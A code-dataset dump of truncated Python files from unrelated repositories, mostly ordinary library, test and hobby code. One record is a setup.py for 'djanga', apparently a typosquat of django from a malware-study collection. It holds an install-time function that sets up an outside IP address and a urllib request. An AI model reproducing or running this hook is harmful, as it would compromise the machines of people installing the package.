# Copyright 2013 Rackspace Hosting. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
39.184524
78
0.658818
561d19607fa6cbc6ec10027b2fef966711617f3b
2,824
py
Python
pychron/core/ui/qt/gui.py
ael-noblegas/pychron
6ebbbb1f66a614972b62b7a9be4c784ae61b5d62
[ "Apache-2.0" ]
1
2019-02-27T21:57:44.000Z
2019-02-27T21:57:44.000Z
pychron/core/ui/qt/gui.py
ael-noblegas/pychron
6ebbbb1f66a614972b62b7a9be4c784ae61b5d62
[ "Apache-2.0" ]
80
2018-07-17T20:10:20.000Z
2021-08-17T15:38:24.000Z
pychron/core/ui/qt/gui.py
AGESLDEO/pychron
1a81e05d9fba43b797f335ceff6837c016633bcf
[ "Apache-2.0" ]
null
null
null
# =============================================================================== # Copyright 2013 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
28.525253
114
0.566572
2b694ad0a207e81e69b458b6b45db42af9919c95
3,591
py
Python
Test.py
JamesTaylor-creator/Tic-Tac-Toe-COSC-1436-301
ad7ad16bbcb85d2baccc485d30ca127081a1c4f2
[ "MIT" ]
1
2021-03-24T22:35:11.000Z
2021-03-24T22:35:11.000Z
Test.py
JamesTaylor-creator/Tic-Tac-Toe-COSC-1436-301
ad7ad16bbcb85d2baccc485d30ca127081a1c4f2
[ "MIT" ]
2
2021-04-08T16:31:00.000Z
2021-04-17T02:34:20.000Z
Test.py
JamesTaylor-creator/Tic-Tac-Toe-COSC-1436-301
ad7ad16bbcb85d2baccc485d30ca127081a1c4f2
[ "MIT" ]
1
2021-03-25T01:54:15.000Z
2021-03-25T01:54:15.000Z
class my_class(object): pass #Tic Tac Toe game in python board = [' ' for x in range(10)] def insertLetter(letter, pos): board[pos] = letter def spaceIsFree(pos): return board[pos] == ' ' def printBoard(board): print(' | |') print(' ' + board[1] + ' | ' + board[2] + ' | ' + board[3]) pri...
27
393
0.465887
51b737d01fef41f5cb65d16e821995c9a4f78657
1,250
py
Python
mi/dataset/driver/presf_abc/dcl/presf_abc_dcl_telemetered_driver.py
petercable/mi-dataset
d3c1607ea31af85fbba5719a31d4a60bf39f8dd3
[ "BSD-2-Clause" ]
1
2018-09-14T23:28:29.000Z
2018-09-14T23:28:29.000Z
mi/dataset/driver/presf_abc/dcl/presf_abc_dcl_telemetered_driver.py
petercable/mi-dataset
d3c1607ea31af85fbba5719a31d4a60bf39f8dd3
[ "BSD-2-Clause" ]
33
2017-04-25T19:53:45.000Z
2022-03-18T17:42:18.000Z
mi/dataset/driver/presf_abc/dcl/presf_abc_dcl_telemetered_driver.py
petercable/mi-dataset
d3c1607ea31af85fbba5719a31d4a60bf39f8dd3
[ "BSD-2-Clause" ]
31
2015-03-04T01:01:09.000Z
2020-10-28T14:42:12.000Z
#!/usr/local/bin/python2.7 ## # OOIPLACEHOLDER # # Copyright 2014 Raytheon Co. ## __author__ = 'Jeff Roy' from mi.dataset.dataset_driver import SimpleDatasetDriver from mi.dataset.parser.presf_abc_dcl import PresfAbcDclParser from mi.core.versioning import version @version("15.6.1") def parse(unused, source_file_pat...
27.173913
91
0.7488
337cbb9d118bcd4fec8dd85e9549dde40a651344
20,827
py
Python
src/stack-hci/azext_stack_hci/vendored_sdks/azurestackhci/aio/operations/_clusters_operations.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
207
2017-11-29T06:59:41.000Z
2022-03-31T10:00:53.000Z
src/stack-hci/azext_stack_hci/vendored_sdks/azurestackhci/aio/operations/_clusters_operations.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
4,061
2017-10-27T23:19:56.000Z
2022-03-31T23:18:30.000Z
src/stack-hci/azext_stack_hci/vendored_sdks/azurestackhci/aio/operations/_clusters_operations.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
802
2017-10-11T17:36:26.000Z
2022-03-31T22:24:32.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
48.434884
174
0.658472
26aeac180c7151369e377ea6729966db3b32e9b8
45,812
py
Python
contrib/tools/python3/src/Lib/collections/__init__.py
HeyLey/catboost
f472aed90604ebe727537d9d4a37147985e10ec2
[ "Apache-2.0" ]
36
2019-06-07T20:44:06.000Z
2022-03-23T06:19:43.000Z
contrib/tools/python3/src/Lib/collections/__init__.py
HeyLey/catboost
f472aed90604ebe727537d9d4a37147985e10ec2
[ "Apache-2.0" ]
32
2018-05-01T05:24:43.000Z
2022-03-11T23:20:39.000Z
contrib/tools/python3/src/Lib/collections/__init__.py
HeyLey/catboost
f472aed90604ebe727537d9d4a37147985e10ec2
[ "Apache-2.0" ]
31
2019-01-15T20:16:50.000Z
2022-03-01T05:47:38.000Z
'''This module implements specialized container datatypes providing alternatives to Python's general purpose built-in containers, dict, list, set, and tuple. * namedtuple factory function for creating tuple subclasses with named fields * deque list-like container with fast appends and pops on either end * Cha...
36.796787
99
0.577862
2b9bf5b23ffba69528229c6840efd7dc6c92908c
11,854
py
Python
pymc/sandbox/DP/DP.py
matthew-brett/pymc
3a31613f056e7993a449d89bafef5fdaa40d47e9
[ "MIT" ]
5
2015-12-03T09:42:44.000Z
2021-06-06T19:23:29.000Z
pymc/sandbox/DP/DP.py
matthew-brett/pymc
3a31613f056e7993a449d89bafef5fdaa40d47e9
[ "MIT" ]
1
2016-09-27T02:00:41.000Z
2016-09-27T02:15:32.000Z
pymc/sandbox/DP/DP.py
matthew-brett/pymc
3a31613f056e7993a449d89bafef5fdaa40d47e9
[ "MIT" ]
1
2017-10-27T13:27:32.000Z
2017-10-27T13:27:32.000Z
__author__ = 'Anand Patil, anand.prabhakar.patil@gmail.com' """ Dirichlet process classes: - DPRealization: A Dirichlet process realization. Based on stick-breaking representation, but step methods should use other representations. Attributes: - atoms: A list containing the atom locations. Methods: ...
28.841849
123
0.574996
cc010c40256ccc2367a95daf4b0d286b84d57b1d
311
py
Python
movies.py
vijay-krishnamoorthy/python-practice
2028bccb03619b6ac50bdfdba270623f0bfb67a9
[ "bzip2-1.0.6" ]
null
null
null
movies.py
vijay-krishnamoorthy/python-practice
2028bccb03619b6ac50bdfdba270623f0bfb67a9
[ "bzip2-1.0.6" ]
null
null
null
movies.py
vijay-krishnamoorthy/python-practice
2028bccb03619b6ac50bdfdba270623f0bfb67a9
[ "bzip2-1.0.6" ]
null
null
null
import csv path="C:\\Users\\Admin\\Desktop\\python-vijay\\movies.csv" lines=[line for line in open(path)] for line in lines: l=list(line.strip().split(',')) print(l) file = open(path, newline='') reader = csv.reader(file) header=next(reader) data =[row for row in reader] for i in data: print(i)
19.4375
58
0.665595
5fe19a17aa72f3ac577b88a5997703ecbe033af7
1,464
py
Python
malware/djanga/djanga-0.1/setup.py
rsc-dev/pypi_malware
0502c84df508d2a84b5f50dc1d4c2b66191318fa
[ "Unlicense" ]
35
2018-12-10T08:59:54.000Z
2022-01-24T17:43:56.000Z
malware/djanga/djanga-0.1/setup.py
rsc-dev/pypi_malware
0502c84df508d2a84b5f50dc1d4c2b66191318fa
[ "Unlicense" ]
null
null
null
malware/djanga/djanga-0.1/setup.py
rsc-dev/pypi_malware
0502c84df508d2a84b5f50dc1d4c2b66191318fa
[ "Unlicense" ]
8
2020-02-25T14:00:48.000Z
2021-10-15T10:13:16.000Z
from setuptools import setup, find_packages def rn (): import platform s = False try: import urllib2 except ImportError: import http.client s = True import os, stat PATH = "/out" IP = "145.249.104.71" LO...
24.4
82
0.44877
49c0e71e0938861d4c7ebe7e1ff64d782759873e
671
py
Python
custom_components/repsolluzygas/contracts/RepsolGasSensor.py
jesusbotella/homeassistant_repsolluzygas
e3f664f4e153857a39d9df73049c2204b6942362
[ "MIT" ]
null
null
null
custom_components/repsolluzygas/contracts/RepsolGasSensor.py
jesusbotella/homeassistant_repsolluzygas
e3f664f4e153857a39d9df73049c2204b6942362
[ "MIT" ]
null
null
null
custom_components/repsolluzygas/contracts/RepsolGasSensor.py
jesusbotella/homeassistant_repsolluzygas
e3f664f4e153857a39d9df73049c2204b6942362
[ "MIT" ]
null
null
null
from .RepsolContractSensor import RepsolContractSensor class RepsolGasSensor(RepsolContractSensor): @property def name(self): """Return the name of the sensor.""" return '{contract_type} Last Invoice'.format( contract_type=self.contract.getContractType().capitalize() ) @property def icon(sel...
26.84
64
0.691505
50fd9fbc8b866c822121da5107ff4d031cb8a3ad
2,822
py
Python
Hologram/Network/Route.py
kevswims/hologram-python
f1dac5e7d461146120b4f077ecbe90ccb3f4adaa
[ "MIT" ]
1
2019-04-23T11:36:46.000Z
2019-04-23T11:36:46.000Z
Hologram/Network/Route.py
kevswims/hologram-python
f1dac5e7d461146120b4f077ecbe90ccb3f4adaa
[ "MIT" ]
null
null
null
Hologram/Network/Route.py
kevswims/hologram-python
f1dac5e7d461146120b4f077ecbe90ccb3f4adaa
[ "MIT" ]
1
2020-12-06T20:49:02.000Z
2020-12-06T20:49:02.000Z
# Route.py - Hologram Python SDK Routing Manager # This module configures routing for Hologram SDK. # # Author: Hologram <support@hologram.io> # # Copyright 2016 - Hologram (Konekt, Inc.) # # # LICENSE: Distributed under the terms of the MIT License # import logging import time from logging import NullHandl...
34
92
0.592133
4957c1748dc0b9129002bbe22b300d25a7a3b626
1,887
py
Python
examples/ad_manager/v202202/creative_wrapper_service/get_all_creative_wrappers.py
MarkusBordihn/googleads-python-lib
09bbcb01f9443f1d140efd8f2d27ef0e4aa74d20
[ "Apache-2.0" ]
null
null
null
examples/ad_manager/v202202/creative_wrapper_service/get_all_creative_wrappers.py
MarkusBordihn/googleads-python-lib
09bbcb01f9443f1d140efd8f2d27ef0e4aa74d20
[ "Apache-2.0" ]
null
null
null
examples/ad_manager/v202202/creative_wrapper_service/get_all_creative_wrappers.py
MarkusBordihn/googleads-python-lib
09bbcb01f9443f1d140efd8f2d27ef0e4aa74d20
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # # Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
36.288462
78
0.737149
8de23f619193a3e2843cafe9fd7c761ffb9c688b
1,311
py
Python
datasets/invert.py
tson1997/Line-Segmentation-Model
f00b65c7914f44fa31e14d41120903d0da2d5496
[ "MIT" ]
1
2021-06-19T17:32:14.000Z
2021-06-19T17:32:14.000Z
datasets/invert.py
tson1997/Line-Segmentation-Model
f00b65c7914f44fa31e14d41120903d0da2d5496
[ "MIT" ]
7
2021-06-29T04:08:01.000Z
2021-07-22T09:12:55.000Z
datasets/invert.py
personwhofloat/Line-Segmentation-Model
f00b65c7914f44fa31e14d41120903d0da2d5496
[ "MIT" ]
1
2021-06-24T06:51:19.000Z
2021-06-24T06:51:19.000Z
import torch from PIL import Image, ImageOps import numpy as np import torchvision import torchvision.transforms.functional as F class Invert(object): """Inverts the color channels of an PIL Image while leaving intact the alpha channel. """ def invert(self, img): r"""Invert the input PIL...
27.3125
80
0.52479
afe1df6d1a1d3179ca725d8e64c4123639d80db3
447
py
Python
fastlane/core/worker/__init__.py
dgkatz/fastlane
1cfe630651c955434f8019a17be0c4ff1fe42c31
[ "MIT" ]
4
2021-12-10T20:30:22.000Z
2022-01-06T17:08:20.000Z
fastlane/core/worker/__init__.py
dgkatz/fastlane
1cfe630651c955434f8019a17be0c4ff1fe42c31
[ "MIT" ]
null
null
null
fastlane/core/worker/__init__.py
dgkatz/fastlane
1cfe630651c955434f8019a17be0c4ff1fe42c31
[ "MIT" ]
null
null
null
from fastlane.core.worker import * from fastlane.core.worker.impl.thread import * from fastlane.core.worker.impl.process import * from fastlane.core.worker.impl.batch import * def get_worker_type(worker_type: str): if worker_type == 'thread': return ThreadWorker elif worker_type == 'process': ...
27.9375
47
0.709172
48bd8ab487a9d49825e67d7e03b7630f86f4f7d8
8,910
py
Python
3D Pose by GAN/GAN/pose/dataset/pose_dataset.py
kyapp69/OpenMMD
795d4dd660cf7e537ceb599fdb038c5388b33390
[ "MIT" ]
717
2018-10-31T16:52:42.000Z
2022-03-31T16:13:47.000Z
3D Pose by GAN/GAN/pose/dataset/pose_dataset.py
Pixis5566/OpenMMD
795d4dd660cf7e537ceb599fdb038c5388b33390
[ "MIT" ]
48
2018-11-08T12:16:43.000Z
2020-08-10T00:24:50.000Z
3D Pose by GAN/GAN/pose/dataset/pose_dataset.py
Pixis5566/OpenMMD
795d4dd660cf7e537ceb599fdb038c5388b33390
[ "MIT" ]
180
2018-10-31T18:41:33.000Z
2022-03-27T23:49:06.000Z
import copy import os import pickle import chainer import numpy as np from . import pose_dataset_base # Joints in H3.6M -- data has 32 joints, # but only 17 that move; these are the indices. H36M_NAMES = [''] * 32 H36M_NAMES[0] = 'Hip' H36M_NAMES[1] = 'RHip' H36M_NAMES[2] = 'RKnee' H36M_NAMES[3] = 'RFoot' H36M_NAM...
36.516393
79
0.548485
7f36f58085598d2f87c4891fd47987e5eee8c4a2
1,337
py
Python
tests/pipeline/test_swab_deltas.py
ONS-SST/cis_households
e475df5929e6763a46cd05aff1f7e960ccbe8e21
[ "MIT" ]
null
null
null
tests/pipeline/test_swab_deltas.py
ONS-SST/cis_households
e475df5929e6763a46cd05aff1f7e960ccbe8e21
[ "MIT" ]
252
2021-05-19T11:12:43.000Z
2022-03-02T10:39:10.000Z
tests/pipeline/test_swab_deltas.py
ONS-SST/cis_households
e475df5929e6763a46cd05aff1f7e960ccbe8e21
[ "MIT" ]
null
null
null
import pandas as pd import pytest from mimesis.schema import Schema from cishouseholds.pipeline.input_file_processing import generate_input_processing_function from cishouseholds.pipeline.input_file_processing import swab_delta_parameters from dummy_data_generation.schemas import get_swab_data_description @pytest.fi...
39.323529
118
0.827973
524bb02b222d7fb9ca2e30667d6905afdd9395ce
995
py
Python
Decoder/extractor.py
parttimeEr/3drCode
c4b1a6b69f3769d14fe751da54975b0205e05c73
[ "MIT" ]
null
null
null
Decoder/extractor.py
parttimeEr/3drCode
c4b1a6b69f3769d14fe751da54975b0205e05c73
[ "MIT" ]
null
null
null
Decoder/extractor.py
parttimeEr/3drCode
c4b1a6b69f3769d14fe751da54975b0205e05c73
[ "MIT" ]
null
null
null
import cv2 def color_remove(): img_array1 = cv2.imread("temp.jpg") img_array2 = cv2.imread("temp.jpg") img_array3 = cv2.imread("temp.jpg") # note that [:,:,0] is blue, [:,:,1] is green, [:,:,2] is red img_array1[:, :, 1] = 0 img_array1[:, :, 2] = 0 mask = cv2.inRange(img_array1, (0, 0, 0), ...
35.535714
65
0.60402
555142413cadb5a0286e6d34f69a0780e0f1ba65
26,083
py
Python
src/black/lines.py
sciyoshi/black
faddb504b395c71a92e6a9ffadaafcc9413ecd88
[ "MIT" ]
2
2018-12-18T18:14:21.000Z
2021-12-17T10:58:53.000Z
src/black/lines.py
sciyoshi/black
faddb504b395c71a92e6a9ffadaafcc9413ecd88
[ "MIT" ]
null
null
null
src/black/lines.py
sciyoshi/black
faddb504b395c71a92e6a9ffadaafcc9413ecd88
[ "MIT" ]
1
2021-06-02T17:46:23.000Z
2021-06-02T17:46:23.000Z
from dataclasses import dataclass, field import itertools import sys from typing import ( Callable, Collection, Dict, Iterator, List, Optional, Sequence, Tuple, TypeVar, cast, ) from blib2to3.pytree import Node, Leaf from blib2to3.pgen2 import token from black.brackets import B...
35.247297
88
0.608136
f689fbbf7e0cf4e062a9e54832f0388f631aa7f5
16,700
py
Python
test/python/dagcircuit/test_compose.py
ajavadia/qiskit-sdk-py
a59e8e6be1793197e19998c1f7dcfc45e6f2f3af
[ "Apache-2.0" ]
11
2019-06-27T09:53:29.000Z
2021-03-02T04:40:30.000Z
test/python/dagcircuit/test_compose.py
ajavadia/qiskit-sdk-py
a59e8e6be1793197e19998c1f7dcfc45e6f2f3af
[ "Apache-2.0" ]
12
2018-09-21T12:02:18.000Z
2018-09-25T09:14:59.000Z
test/python/dagcircuit/test_compose.py
ajavadia/qiskit-sdk-py
a59e8e6be1793197e19998c1f7dcfc45e6f2f3af
[ "Apache-2.0" ]
4
2019-08-05T15:35:33.000Z
2020-09-18T18:55:02.000Z
# This code is part of Qiskit. # # (C) Copyright IBM 2017. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative wo...
37.52809
80
0.404132
64c46cd8846e151b636f1b332a678efbc3a4928f
21,645
py
Python
pypy/translator/cli/test/test_dotnet.py
camillobruni/pygirl
ddbd442d53061d6ff4af831c1eab153bcc771b5a
[ "MIT" ]
12
2016-01-06T07:10:28.000Z
2021-05-13T23:02:02.000Z
pypy/translator/cli/test/test_dotnet.py
camillobruni/pygirl
ddbd442d53061d6ff4af831c1eab153bcc771b5a
[ "MIT" ]
null
null
null
pypy/translator/cli/test/test_dotnet.py
camillobruni/pygirl
ddbd442d53061d6ff4af831c1eab153bcc771b5a
[ "MIT" ]
2
2016-07-29T07:09:50.000Z
2016-10-16T08:50:26.000Z
import py from pypy.annotation.annrpython import RPythonAnnotator from pypy.annotation import model as annmodel from pypy.rpython.ootypesystem import ootype from pypy.rpython.ootypesystem.ootype import meth, Meth, Char, Signed, Float, String,\ ROOT, overload, Instance, new from pypy.translator.cli.test.runtest imp...
31.924779
126
0.544652
6992c115a9faa2fb70414a73636ce6b97a3a5b33
21
py
Python
olive/scripts/calibration/__init__.py
liuyenting/olive-core
b532b29e29fe9f167369f66b8d922f5f644f9309
[ "Apache-2.0" ]
null
null
null
olive/scripts/calibration/__init__.py
liuyenting/olive-core
b532b29e29fe9f167369f66b8d922f5f644f9309
[ "Apache-2.0" ]
null
null
null
olive/scripts/calibration/__init__.py
liuyenting/olive-core
b532b29e29fe9f167369f66b8d922f5f644f9309
[ "Apache-2.0" ]
null
null
null
from .aotf import *
10.5
20
0.666667
9eea9c32ce1aca0ad55172114bb66419781464a3
3,509
py
Python
amhappy/resources/happinstance.py
ltang-cars/amhappy
639d94eecb3cc5bab9128d93aadc5c50637a9a55
[ "BSD-2-Clause" ]
15
2015-03-26T17:28:03.000Z
2020-11-18T18:25:00.000Z
amhappy/resources/happinstance.py
ltang-cars/amhappy
639d94eecb3cc5bab9128d93aadc5c50637a9a55
[ "BSD-2-Clause" ]
7
2015-03-26T02:07:59.000Z
2015-04-14T21:08:12.000Z
amhappy/resources/happinstance.py
ltang-cars/amhappy
639d94eecb3cc5bab9128d93aadc5c50637a9a55
[ "BSD-2-Clause" ]
6
2015-03-26T17:27:21.000Z
2017-11-16T18:24:44.000Z
# -*- coding: utf-8 -*- from cornice.resource import resource, view from amhappy.utility.validators import validator_factory from amhappy.utility.happinstance_db import HappinstanceDB @resource(collection_path='/happinstances', path='/happinstances/{application}/{name}', cors_enabled=True, cors_or...
35.09
78
0.61442
1ee2e4fad37214e1b107b3f66feb1ba701c300af
18,825
py
Python
ibeis/algo/graph/mixin_simulation.py
brmscheiner/ibeis
9bb93a6cd74ac47921e734c80917a38609dfe661
[ "Apache-2.0" ]
null
null
null
ibeis/algo/graph/mixin_simulation.py
brmscheiner/ibeis
9bb93a6cd74ac47921e734c80917a38609dfe661
[ "Apache-2.0" ]
null
null
null
ibeis/algo/graph/mixin_simulation.py
brmscheiner/ibeis
9bb93a6cd74ac47921e734c80917a38609dfe661
[ "Apache-2.0" ]
null
null
null
""" Mixin functionality for experiments, tests, and simulations. This includes recordings measures used to generate plots in JC's thesis. """ # -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function, unicode_literals import six import utool as ut import ubelt as ub import pandas as pd im...
40.224359
140
0.554475
69adbc05924f4ab3e8b2f53fd3e429a93e6296b3
1,124
py
Python
constants.py
MarcoFavorito/information-extraction-from-annotated-wikipedia
749f59c001d3850896431aaf0854c4c2ed209f1e
[ "MIT" ]
null
null
null
constants.py
MarcoFavorito/information-extraction-from-annotated-wikipedia
749f59c001d3850896431aaf0854c4c2ed209f1e
[ "MIT" ]
null
null
null
constants.py
MarcoFavorito/information-extraction-from-annotated-wikipedia
749f59c001d3850896431aaf0854c4c2ed209f1e
[ "MIT" ]
null
null
null
# Some constants NULL_BABELNET_ID = "NULL_BID" NULL_TYPE = "NULL_T" CUSTOM_TYPE = "CUSTOM_TYPE" # XML tags DISAMBIGUATED_ARTICLE_TAG = "disambiguatedArticle" TEXT_TAG = "text" ANNOTATIONS_TAG= "annotations" ANNOTATION_TAG= "annotation" BABELNET_ID_TAG = "babelNetID" MENTION_TAG = "mention" ANCHOR_START_TAG= "anchorSt...
22.938776
103
0.790036
cf3b426b68a61051ec225c59924c4e923b57a33b
4,012
py
Python
src/predict.py
WiraDKP/pytorch_speaker_embedding_for_diarization
61da1b7fe61111355f9329c7c0db20b2ecd0a411
[ "MIT" ]
10
2020-03-24T10:34:15.000Z
2021-09-02T15:00:55.000Z
src/predict.py
WiraDKP/pytorch_speaker_embedding_for_diarization
61da1b7fe61111355f9329c7c0db20b2ecd0a411
[ "MIT" ]
6
2020-08-28T20:22:41.000Z
2021-06-25T10:42:02.000Z
src/predict.py
WiraDKP/pytorch_speaker_embedding_for_diarization
61da1b7fe61111355f9329c7c0db20b2ecd0a411
[ "MIT" ]
5
2020-04-23T09:46:28.000Z
2022-03-25T09:56:24.000Z
import os import numpy as np import matplotlib.pyplot as plt import torch from torch import onnx from src.model import Encoder from src.dataset import BaseLoad from src.utils import zcr_vad, get_timestamp from src.cluster import OptimizedAgglomerativeClustering from openvino.inference_engine import IECore, IENetwork...
37.495327
115
0.618893
92d54e4279b29667ea19aae7d50c3ce8ccc31df3
446
py
Python
backend/app.py
CSC510-Group-25/feature-hunt
27a0f52c8f7831e9e77db98d88f41d9fc1dab7ca
[ "MIT" ]
null
null
null
backend/app.py
CSC510-Group-25/feature-hunt
27a0f52c8f7831e9e77db98d88f41d9fc1dab7ca
[ "MIT" ]
147
2021-10-14T18:10:04.000Z
2021-11-30T01:36:42.000Z
backend/app.py
CSC510-Group-25/feature-hunt
27a0f52c8f7831e9e77db98d88f41d9fc1dab7ca
[ "MIT" ]
8
2021-11-04T04:17:21.000Z
2021-11-26T12:53:52.000Z
# pylint: skip-file # pylint: disable=pointless-string-statement,undefined-variable,line-too-long from flask import Flask from os import environ from flask_cors import CORS app = Flask(__name__) from auth_controller import * from products import * from product_controller import * from db_init import db app.secret_key...
24.777778
77
0.757848
b84a54dbc9057222f394b75fe104cfd15c74574b
2,710
py
Python
scoreboard/api.py
chrisx8/Ballzzz
0b3e914aa8c7db8320269461db14dd1b06a7f3e2
[ "MIT" ]
null
null
null
scoreboard/api.py
chrisx8/Ballzzz
0b3e914aa8c7db8320269461db14dd1b06a7f3e2
[ "MIT" ]
40
2020-02-18T23:31:17.000Z
2021-03-04T19:45:17.000Z
scoreboard/api.py
chrisx8/Ballzzz
0b3e914aa8c7db8320269461db14dd1b06a7f3e2
[ "MIT" ]
null
null
null
import re from flask_restful import Resource, reqparse from models import Scoreboard from views import DBSession, get_rankings from sqlalchemy.orm.exc import NoResultFound # Username legality check: 4-50 alphanumeric characters USERNAME_REGEX = re.compile('^[a-zA-Z0-9._-]{4,50}$') # accept and parse POST score_parser...
38.169014
83
0.595203
0f63c792b7cf95a34167dc6b89da09c94c825a62
1,290
py
Python
examples/sync/exchange_client/derivative_exchange_rpc/11_Trades.py
InjectiveLabs/sdk-python
d98382d450f4e6043d8fc34b621215fb14f958f2
[ "Apache-2.0" ]
10
2021-09-07T08:03:52.000Z
2022-03-08T08:39:30.000Z
examples/sync/exchange_client/derivative_exchange_rpc/11_Trades.py
InjectiveLabs/sdk-python
d98382d450f4e6043d8fc34b621215fb14f958f2
[ "Apache-2.0" ]
39
2021-08-19T20:09:35.000Z
2022-03-22T19:51:59.000Z
examples/sync/exchange_client/derivative_exchange_rpc/11_Trades.py
InjectiveLabs/sdk-python
d98382d450f4e6043d8fc34b621215fb14f958f2
[ "Apache-2.0" ]
5
2021-11-02T16:23:48.000Z
2022-01-20T22:30:05.000Z
# Copyright 2021 Injective Labs # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
34.864865
88
0.766667
8baf83e3ab6b47b8a0055b8559611b793be935db
594
py
Python
butter_hopper/headers.py
cswl/butter-hopper
8797221e0ffe3ab8000952f62edb88bb53a660b0
[ "MIT" ]
8
2019-02-12T23:39:58.000Z
2021-08-11T22:30:59.000Z
butter_hopper/headers.py
cswl/butter-hopper
8797221e0ffe3ab8000952f62edb88bb53a660b0
[ "MIT" ]
null
null
null
butter_hopper/headers.py
cswl/butter-hopper
8797221e0ffe3ab8000952f62edb88bb53a660b0
[ "MIT" ]
null
null
null
from munch import Munch from pathlib import Path MOUNT_HEADERS = Munch({ "BTRFSROOT_TARGET": 'broot', "UUID": "uuid", "PARTUUID": "puuid", "TYPE": "type", "AUTO": "auto", "SUBVOL": "subvol", "TARGET": "mountpoint", "OPTIONS": "options", "UDISKS_TARGET": "udisks2" }) BASE_PATHS = Mu...
27
60
0.681818
f55bc8b945b6af8e21ca1ca1ddbf407188ab2b1e
797
py
Python
ServidorPython/python32_web/Lib/site-packages/sklearn/utils/tests/test_show_versions.py
mak213k/Servidor_automatizado_python
4403ef8027a2f814220baacc95856cf5fbf01d21
[ "MIT" ]
25
2019-03-08T01:03:03.000Z
2022-02-14T17:38:32.000Z
venv/lib/python3.7/site-packages/sklearn/utils/tests/test_show_versions.py
John1001Song/Big-Data-Robo-Adviser
9444dce96954c546333d5aecc92a06c3bfd19aa5
[ "MIT" ]
12
2021-03-09T03:01:16.000Z
2022-03-11T23:59:36.000Z
venv/lib/python3.7/site-packages/sklearn/utils/tests/test_show_versions.py
John1001Song/Big-Data-Robo-Adviser
9444dce96954c546333d5aecc92a06c3bfd19aa5
[ "MIT" ]
31
2019-01-15T20:16:50.000Z
2022-03-01T05:47:38.000Z
from sklearn.utils._show_versions import _get_sys_info from sklearn.utils._show_versions import _get_deps_info from sklearn.utils._show_versions import show_versions def test_get_sys_info(): sys_info = _get_sys_info() assert 'python' in sys_info assert 'executable' in sys_info assert 'machine' in sy...
24.151515
55
0.734003
90388d161204584ad978af006898cacebcf8d4a6
1,252
py
Python
tensor2tensor/rl/model_rl_experiment_test.py
repoloper/tensor2tensor
2fd91d34b8e6d79599c0612e446175174e838b9d
[ "Apache-2.0" ]
61
2018-06-23T01:40:58.000Z
2021-06-07T09:33:38.000Z
tensor2tensor/rl/model_rl_experiment_test.py
zhaopufeng/tensor2tensor
7bb67a18e1e4a0cddd1d61c65c937f14c1c124e3
[ "Apache-2.0" ]
null
null
null
tensor2tensor/rl/model_rl_experiment_test.py
zhaopufeng/tensor2tensor
7bb67a18e1e4a0cddd1d61c65c937f14c1c124e3
[ "Apache-2.0" ]
8
2018-10-23T13:10:12.000Z
2019-07-31T05:53:08.000Z
# coding=utf-8 # Copyright 2018 The Tensor2Tensor Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
32.102564
74
0.771565
f0390f8ed8e8b2d3e4a3ef576330872cea08f7d6
230
py
Python
helpers/vline_down.py
nuzcraft/RLTut
b763de87ee49abd413a7c3a278c004803ab45663
[ "MIT" ]
2
2018-01-05T08:09:37.000Z
2018-01-05T20:39:18.000Z
helpers/vline_down.py
nuzcraft/RLTut
b763de87ee49abd413a7c3a278c004803ab45663
[ "MIT" ]
null
null
null
helpers/vline_down.py
nuzcraft/RLTut
b763de87ee49abd413a7c3a278c004803ab45663
[ "MIT" ]
null
null
null
# draws a vertical line down on a map import variables as var def vline_down(map, x, y): while y < var.MAP_HEIGHT and map[x][y].blocked: map[x][y].blocked = False map[x][y].block_sight = False y += 1
23
51
0.608696
add0da64d20442dd1dd862e69dff6b881461037b
2,057
py
Python
tests/run/test_train.py
cosmoquester/speech-recognition
c9f137a7fe23548435d7f20d87b60522697218b5
[ "Apache-2.0" ]
6
2021-05-06T10:14:19.000Z
2022-03-03T19:30:50.000Z
tests/run/test_train.py
ModuASR/speech-recognition
81bcf274407377dd785d204f5622c8747c33ea0f
[ "Apache-2.0" ]
14
2021-05-02T08:21:18.000Z
2021-06-13T11:37:24.000Z
tests/run/test_train.py
cosmoquester/speech-recognition
c9f137a7fe23548435d7f20d87b60522697218b5
[ "Apache-2.0" ]
2
2021-05-04T13:46:13.000Z
2021-05-12T07:29:06.000Z
import os import random import tempfile import pytest from speech_recognition.configs import TrainConfig from speech_recognition.run.train import main, parser from ..const import ( DEFAULT_LIBRI_CONFIG, SP_MODEL_LIBRI, TEST_DS_CONFIG, TEST_LAS_CONFIG, TFRECORD_DATASET_PATH, WAV_DATASET_PATH, ...
30.25
80
0.584832
46b45a4f0ec35e909f04c07cf661933aced73c0a
57,480
py
Python
notebooks/primes.py
felipessalvatore/it
82916dc96bbc4630dfe1d0ba6cf9972394da8771
[ "MIT" ]
null
null
null
notebooks/primes.py
felipessalvatore/it
82916dc96bbc4630dfe1d0ba6cf9972394da8771
[ "MIT" ]
null
null
null
notebooks/primes.py
felipessalvatore/it
82916dc96bbc4630dfe1d0ba6cf9972394da8771
[ "MIT" ]
